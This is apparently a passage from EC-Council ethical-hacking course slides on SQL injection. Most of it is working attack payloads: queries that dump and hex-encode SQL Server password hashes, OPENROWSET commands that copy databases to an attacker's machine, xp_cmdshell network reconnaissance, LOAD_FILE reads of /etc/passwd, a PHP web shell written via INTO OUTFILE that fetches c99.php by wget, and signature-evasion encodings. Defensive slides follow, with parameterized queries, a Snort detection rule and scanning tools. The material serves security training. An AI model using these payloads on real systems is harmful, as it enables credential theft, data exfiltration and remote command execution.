`SELECT * from table where id = 1 union select null,null,null from sys.dual`
Creating Database Accounts

Microsoft SQL Server
exec sp_addlogin 'victor', 'Pass123'
exec sp_addsrvrolemember 'victor', 'sysadmin'

Oracle
CREATE USER victor IDENTIFIED BY Pass123
TEMPORARY TABLESPACE temp
DEFAULT TABLESPACE users;
GRANT CONNECT TO victor;
GRANT RESOURCE TO victor;

MySQL
INSERT INTO mysql.user
(user, host, password)
VALUES ('victor', 'localhost', PASSWORD('Pass123'))

Microsoft Access
CREATE USER victor IDENTIFIED BY 'Pass123'

Copyright © by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited.
' ; begin declare @var varchar(8000)
  set @var=': ' select @var=@var+ ' '+login+'/'++password+' ' from
  users where login>@var select @var as var into temp end --
' and 1 in (select var from temp) --
' ; drop table temp --
Grabbing SQL Server Hashes

The hashes are extracted using

```
SELECT password FROM master..sysxlogins
```

We then hex each hash

```
begin @charvalue='0x', @i=1, 
@length=datalength(@binvalue),
@hexstring = '0123456789ABCDEF'
while (@i<=@length) BEGIN
    declare @tempint int, 
    @firstint int, @secondint int
    select @tempint=CONVERT
    (int,SUBSTRING(@binvalue,@i,1))
    select @firstint=FLOOR
    (@tempint/16)
    select @secondint=@tempint -
    (@firstint*16)
    select @charvalue=@charvalue +
    SUBSTRING (@hexstring,@firstint+1,1) +
    SUBSTRING (@hexstring, @secondint+1, 1)
select @i=@i+1 END
```

And then we just cycle through all passwords

SQL server hash sample

```
    0 010034767D8C0CFA5FDCA28C4A5
    6085E6E882E71CB0ED25034122D5
    4D6119F0FF04129A1D72E7C3194F72
    B4A77F3A
```

SQL query

```
SELECT name, password FROM sysxlogins
```

To display the hashes through an error message, convert hashes → Hex → concatenate

Password field requires dbo access

With lower privileges you can still recover usernames and brute force the password

Extract hashes through error messages

```
' and 1 in (select x from temp) --
' and 1 in (select substring (x, 256, 256) from temp) --
' and 1 in (select substring (x, 512, 256) from temp) --
' drop table temp --
Extracting SQL Hashes (In a Single Statement)

```sql
'; begin declare @var varchar(8000), @xdate1 datetime, @binvalue varbinary(255), @charvalue varchar(255), @i int, @length int, @hexstring char(16) set @var=':' select @xdate1=(select min(xdate1) from master..sysxlogins where password is not null) begin while @xdate1 <= (select max(xdate1) from master..sysxlogins where password is not null) begin select @binvalue=(select password from master..sysxlogins where xdate1=@xdate1), @charvalue = '0x', @i=1, @length=datalength(@binvalue), @hexstring = '0123456789ABCDEF' while (@i<=@length) begin declare @tempint int, @firstint int, @secondint int select @tempint=CONVERT(int, SUBSTRING(@binvalue,@i,1)) select @firstint=FLOOR(@tempint/16) select @secondint=@tempint - (@firstint*16) select @charvalue=@charvalue + SUBSTRING (@hexstring,@firstint+1,1) + SUBSTRING (@hexstring, @secondint+1, 1) select @i=@i+1 end select @var=@var'+ ' | '+name+'/ '+@charvalue from master..sysxlogins where xdate1=@xdate1 select @xdate1 = (select isnull(min(xdate1),getdate() from master..sysxlogins where xdate1>@xdate1 and password is not null) end select @var as x into temp end end end --
```
Transfer Database to Attacker's Machine

SQL Server can be linked back to the attacker's DB by using OPENROWSET

DB Structure is replicated and data is transferred. This can be accomplished by connecting to a remote machine on port 80

---

'; insert into OPENROWSET ('SQLoledb', 'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..table1') select * from database..table1 --

'; insert into OPENROWSET ('SQLoledb', 'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_sysdatabases') select * from master..sysdatabases --

'; insert into OPENROWSET ('SQLoledb', 'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from user_database.dbo.sysobjects --

'; insert into OPENROWSET ('SQLoledb', 'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_syscolumns') select * from user_database..syscolumns --
Interacting with the Operating System

There are two ways to interact with the OS:

1. Reading and writing system files from disk
2. Direct command execution via remote shell

Find passwords and execute commands

Both methods are restricted by the database's running privileges and permissions

LOAD_FILE
' union select 1,load_file('/etc/passwd'),1,1,1;
LOAD DATA INFILE
create table temp( line blob );
load data infile '/etc/passwd' into table temp;
select * from temp;
SELECT INTO OUTFILE
Interacting with the FileSystem

LOAD_FILE()
The LOAD_FILE() function within MySQL is used to read and return the contents of a file located within the MySQL server.

INTO OUTFILE()
The OUTFILE() function within MySQL is often used to run a query, and dump the results into a file.

- **NULL UNION ALL SELECT LOAD_FILE('/etc/passwd')/*
  
  If successful, the injection will display the contents of the passwd file.

- **NULL UNION ALL SELECT NULL, NULL, NULL, NULL, '<?php system($_GET['command']); ?>' INTO OUTFILE '/var/www/juggyboy.com/shell.php'/*
  
  If successful, it will then be possible to run system commands via the $_GET global. The following is an example of using wget to get a file: http://www.juggyboy.com/shell.php?command=wget http://www.example.com/c99.php
Assessing Network Connectivity
1. Server name and configuration
   `and 1 in (select @@servername ) --`
   `and 1 in (select srvname from master..sys.servers ) --`
2. NetBIOS, ARP, Local Open Ports, nslookup, ping, ftp, tftp, smb, Trace route?
3. Test for firewall and proxies

Network Reconnaissance
You can execute the following using the `xp_cmdshell` command:
Ipconfig /all, Tracert myIP, arp -a, nbtstat -c, netstat -ano, route print

Gathering IP information through reverse lookups
Reverse DNS
`'; exec master..xp_cmdshell 'nslookup a.com MyIP' --`
Reverse Pings
`'; exec master..xp_cmdshell 'ping 10.0.0.75' --`
OPENROWSET
`'; select * from OPENROWSET( 'SQLLedb', 'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=10.0.0.75,80;' , 'select * from table')`
Network Reconnaissance Full Query

Note: Microsoft has disabled xp_cmdshell by default in SQL Server 2005/2008.

To enable this feature EXEC sp_configure 'xp_cmdshell', 1 GO RECONFIGURE.

'; declare @var varchar(256); set @var = 'del test.txt &amp; arp -a &gt;&gt; test.txt &amp;&amp; ipconfig /all &gt;&gt; test.txt &amp;&amp; nbtstat -c &gt;&gt; test.txt &amp;&amp; netstat -ano &gt;&gt; test.txt &amp;&amp; route print &gt;&gt; test.txt &amp;&amp; tracert -w 10 -h 10 google.com &gt;&gt; test.txt'; EXEC master..xp_cmdshell @var --

'; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmp FROM 'test.txt' --

'; begin declare @data varchar(8000); set @data=''; select @data=+@data+txt+'' from tmp where txt&lt;@data; select @data as x into temp end --

' and l in (select substring(x,1,255) from temp) --

'; declare @var sysname; set @var = 'del test.txt'; EXEC master..xp_cmdshell @var; drop table temp; drop table tmp --
SQL Injection Tools: BSQL Hacker

BSQL Hacker is an automated SQL Injection tool which supports Blind SQL Injection, Time Based Blind SQL Injection, Deep Blind (based on advanced time delays) SQL Injection, Error Based SQL Injection.

http://labs.portcullis.co.uk

Copyright © by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited.
SQL Injection Tools: **Marathon Tool**

Using Marathon Tool, a malicious user can send heavy queries to perform a Time-Based Blind SQL Injection attack.

- Database Schema extraction from SQL Server, Oracle and MySQL
- Parameter Injection using HTTP GET or POST
- SSL support
- HTTP proxy connection available
- Authentication methods: Anonymous, Basic, Digest and NTLM

[http://marathontool.codeplex.com](http://marathontool.codeplex.com)
### SQL Power Injector

**Key Features:**
- **Automated SQL Injection Tool**
- Automatically detects predefined SQL errors in the response page

![SQL Power Injector](image)

**Website:** [http://www.sqlpowerinjector.com](http://www.sqlpowerinjector.com)
Using this SQL injection tool, an attacker can perform back-end database fingerprint, retrieve DBMS users and password hashes, dump tables and columns, fetching data from the database, running SQL statements and even accessing the underlying file system and executing commands on the operating system.
Evading IDS

Attackers use evasion techniques to obscure input strings in order to avoid detection by signature-based detection systems. Signature-based detection systems build a database of SQL injection attack strings (signatures) and then compare input strings against the signature database at runtime to detect attacks.
Types of **Signature Evasion Techniques**

- **Sophisticated Matches**
  Uses alternative expression of “OR 1=1”

- **In-line Comment**
  Obscures input strings by inserting in-line comments between SQL keywords

- **Hex Encoding**
  Uses hexadecimal encoding to represent a SQL query string

- **Char Encoding**
  Uses built-in CHAR function to represent a character

- **Manipulating White Spaces**
  Obscures input strings by dropping white space between SQL keyword

- **String Concatenation**
  Concatenates text to create SQL keyword using DB specific instructions

- **Obfuscated Codes**
  Obfuscated code is an SQL statement that has been made difficult to understand
Evasion Technique: Sophisticated Matches

SQL Injection Characters

- ' or " character String Indicators
- -- or # single-line comment
- /*...*/ multiple-line comment
- + addition, concatenate (or space in url)
- || (double pipe) concatenate
- % wildcard attribute indicator
- ?Param1=foo&Param2=bar URL Parameters
- PRINT useful as non transactional command
- @variable local variable
- @@variable global variable
- waitfor delay '0:0:10' time delay

Evading ' OR 1=1 signature

- ' OR 'john' = 'john'
- ' OR 'microsoft' = 'micro'+'soft'
- ' OR 'movies' = 'Nmovies'
- ' OR 'software' like 'soft%'
- ' OR 7 > 1
- ' OR 'best' > 'b'
- ' OR 'whatever' IN ('whatever')
- ' OR 5 BETWEEN 1 AND 7

An IDS signature may be looking for the 'OR 1=1'. Replacing this string with another string will have same effect.
Evasion Technique: Hex Encoding

Using a hex value

```sql
; declare @x varchar(80);
set @x = 0x73656c65637420404076657273696e;
EXEC (@x)
This statement uses no single quotes (')
```

Hex encoding evasion technique uses hexadecimal encoding to represent a string.

String to Hex Examples

```sql
SELECT @@version = 0x73656c65637420404076657273696e;
DROP Table CreditCard = 0x44524f50205461626c6520437265646974 43617264;
INSERT into USERS ('Juggyboy', 'qwert') = 0x494e5345525a20696e74 6f20555345525a2028274a7 567677942679272c202771 77657274792729
```

For example, the string 'SELECT' can be represented by the hexadecimal number 0x73656c656374, which most likely will not be detected by a signature protection mechanism.
Evasion Technique: **Manipulating White Spaces**

**White space** manipulation technique obfuscates input strings by dropping or adding white spaces between SQL keyword and string or number literals without altering execution of SQL statements.

**Adding white spaces** using special characters like tab, carriage return or linefeeds makes an SQL statement completely untraceable without changing the execution of the statement.

"**UNION SELECT**" signature is different from "**UNION SELECT**"

**Dropping spaces** from SQL statements will not affect its execution by some of the SQL databases.

'OR'1'='1' (with no spaces)
Evasion Technique: In-line Comment

Evade signatures that filter white spaces

In this technique, white spaces between SQL keywords are replaced by inserting in-line comments

`/* ... */` is used in SQL to delimit multirow comments

`UNION/***/SELECT/***/` `/* */` `/* */` `/* */` `/* */`

This allows to spread the injection commands through multiple fields

`USERNAME: ' or 1/*` `PASSWORD: */ =1 --`
Evasion Technique: Char Encoding

Char () function can be used to inject SQL injection statements into MySQL without using double quotes

Check for existing files (string = "n.ext"):

' and 1=( if(
(load_file(char(110,46,101,120,116)))<>char(39,39)),1,0));

Inject without quotes (string = "%"):

' or username like char(37);

Inject without quotes (string = "root"):

' union select * from users where login = char(114,111,111,116);

Load files in unions (string = "/etc/passwd"):

' union select 1,
(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;
Evasion Technique: String Concatenation

Split instructions to avoid signature detection by using execution commands that allow to concatenate text in a database server.

**Oracle:**
```
'; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'
```

**MS SQL:**
```
'; EXEC ('DRO' + 'PT' + 'AB' + 'LE')
```

**MySQL:**
```
'; EXECUTE CONCAT ('INSE', 'RT US', 'ER')
```

Compose SQL statement by concatenating strings instead of parameterized query.
Evasion Technique: **Obfuscated Codes**

**Obfuscated “qwerty”**

Examples of obfuscated codes for the string “qwerty”:

Reverse(concat(if(1,char(121),2),0x74, right(left(0x567210,2),1),
lower(mid('TEST',2,1)),replace(0x7074, 'pt', 'w'),char(instr(123321,33)+110)))

Concat(unhex(left(crc32(31337),3)-400), unhex(ceil(atan(1)*100-2)),
unhex(round(log(2)*100)-4), char(114),char(right(cot(31337),2)+54), char(pow(11,2)))

---

An example of bypassing signatures (obfuscated code for request):

The following request corresponds to the application signature:

```sql
/?id=1+union+(select+1,2+from+test.users)
```

The signatures can be bypassed by modifying the above request:

```sql
/?id=(1)union(select(1),mid(hash,1,32)from(test.users))
```

```sql
/?id=1+union+(select'1',concat(login,hash)from+test.users)
```

```sql
/?id=(1)union((((((select(1),hex(hash)from(test.users))))))
```
How to Defend Against SQL Injection Attacks?

Why Web Applications are Vulnerable to SQL Injection Attacks?

- Run database service account with minimal rights
- Disable commands like xp_cmdshell
- Database server runs OS commands
- Using privileged account to connect to the Database
- Error message revealing important information
- No Data validation at the Server
- Monitor DB traffic using an IDS, WAP
- Use low privileged account for DB connection
- Filter All Client Data
- Sanitize Data

Supress all error messages
Use custom error messages
How to Defend Against SQL Injection Attacks?

1. Make no assumptions about the size, type, or content of the data that is received by your application.
2. Test the size and data type of input and enforce appropriate limits to prevent buffer overruns.
3. Test the content of string variables and accept only expected values.
4. Reject entries that contain binary data, escape sequences, and comment characters.
5. Never build Transact-SQL statements directly from user input and use stored procedures to validate user input.
6. Implement multiple layers of validation and never concatenate user input that is not validated.

User Input

Validated Input

Bad Input
How to Defend Against SQL Injection Attacks: Use Type-Safe SQL Parameters

Input is treated as a literal value instead of executable code

```
SqlDataAdapter myCommand = new SqlDataAdapter("AuthLogin", conn);
myCommand.SelectCommand.CommandType = CommandType.StoredProcedure; SqlParameter parm = myCommand.SelectCommand.Parameters.Add("@aut_id", SqlDbType.VarChar, 11);
parm.Value = Login.Text;
```

In this example, the @aut_id parameter is treated as a literal value instead of as executable code. This value is checked for type and length.

Type and length checks can be enforced using Parameter Collection

```
SqlDataAdapter myCommand = new SqlDataAdapter("SELECT aut_lname, aut.fname FROM Authors WHERE aut_id = @aut_id", conn); SqlParameter parm = myCommand.SelectCommand.Parameters.Add("@aut_id", SqlDbType.VarChar, 11); Parm.Value = Login.Text;
```

This is safe code that uses parameter collection

This code is vulnerable to SQL injection

```
SqlDataAdapter myCommand = new SqlDataAdapter("LoginStoredProcedure '" + Login.Text + "'", conn);
```

Copyright © by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited.
How to Defend Against SQL Injection Attacks?

1. Attacker
2. Login Form
3. Internet
4. Use WAF
5. Firewall/IDS and filter packets
6. Web Server
7. Connect to the Database using non-privileged account
8. Grant least privileges to the database, tables, and columns
9. DBMS
10. Web Application
11. Analyze the source code for SQL Injection
12. Minimize Use of 3rd Party Apps
13. Sanitize and filter user input
14. Disable commands like `xp_cmdshell`
15. Use stored procedures and parameter queries
16. SQL Query
17. Disable verbose error messages and use custom error pages
18. Operating System
19. Custom Error Page
SQL Injection Detection Tool: Microsoft Source Code Analyzer

- Microsoft Source Code Analyzer for SQL Injection is a static code analysis tool for finding SQL Injection vulnerabilities in ASP code.
- It scans ASP source code and generates warnings related to first order and second order SQL Injection vulnerabilities.

http://support.microsoft.com

Copyright © by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited.
SQL Injection Detection Tool: **Microsoft UrlScan**

- It **restricts** the types of HTTP requests that IIS processes.
- By **blocking** specific HTTP requests, the UrlScan security tool helps to prevent potentially harmful requests from reaching applications on the server.

http://technet.microsoft.com

Copyright © by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited.
SQL Injection Detection Tool:

dotDefender

dotDefender is a software based Web Application Firewall.
dotDefender complements the network firewall, IPS and other network-based Internet security products.
It inspects the HTTP/HTTPS traffic for suspicious behavior.
It detects and blocks SQL injection attacks.

http://www.applicure.com
SQL Injection Detection Tool: IBM AppScan

IBM Rational AppScan is a Web application security testing tool that automates vulnerability assessments. It prevents SQL injection attacks on websites, scans websites for embedded malware, and provides regulatory compliance and reporting.

http://www-01.ibm.com

Copyright © by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited.
Snort Rule to Detect SQL Injection Attacks

```plaintext
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"SQL Injection - Paranoid";
flow:to_server,established;uricontent: ".pl";pcre:"/(%27)|(\'|\|--|\%23)|(#)/i"; classtype:Web-application-attack; sid:9099; rev:5;)
```
SQL Injection Detection Tools

- HP WebInspect
  https://h10078.www1.hp.com

- SQLDict
  http://ntsecurity.nu

- HP ScrawlR
  https://h30406.www3.hp.com

- Paros
  http://www.darknet.org.uk

- SQL Block Monitor
  http://sql-tools.net

- Acunetix Web Vulnerability Scanner
  http://www.acunetix.com

- GreenSQL
  http://www.greensql.net

- CAT.NET
  http://www.microsoft.com
SQL Injection is the most common Website vulnerability on the Internet that takes advantage of non-validated input vulnerabilities to pass SQL commands through a Web application for execution by a backend database.

- Threats of SQL injection include authentication bypass, information disclosure, and data integrity and availability compromise.

- Database admins and Web application developers need to follow a methodological approach to detect SQL injection vulnerabilities in web infrastructure that includes manual testing, function testing, and fuzzing.

- SQL injection is broadly categorized as simple and blind; Simple SQL injection is further categorized as UNION and Error-based SQL injection.

- Pen-testers and attackers need to follow a comprehensive SQL injection methodology and use automated tools such as BSQILHacker for successful injection attacks.

- Major SQL injection countermeasures involve input data validation, error message suppression or customization, proper DB access privilege management and isolation of databases from underlying OS.
Quotes

“Technology presumes there's just one right way to do things and there never is.”

- Robert M. Pirsig,
An American Writer and Philosopher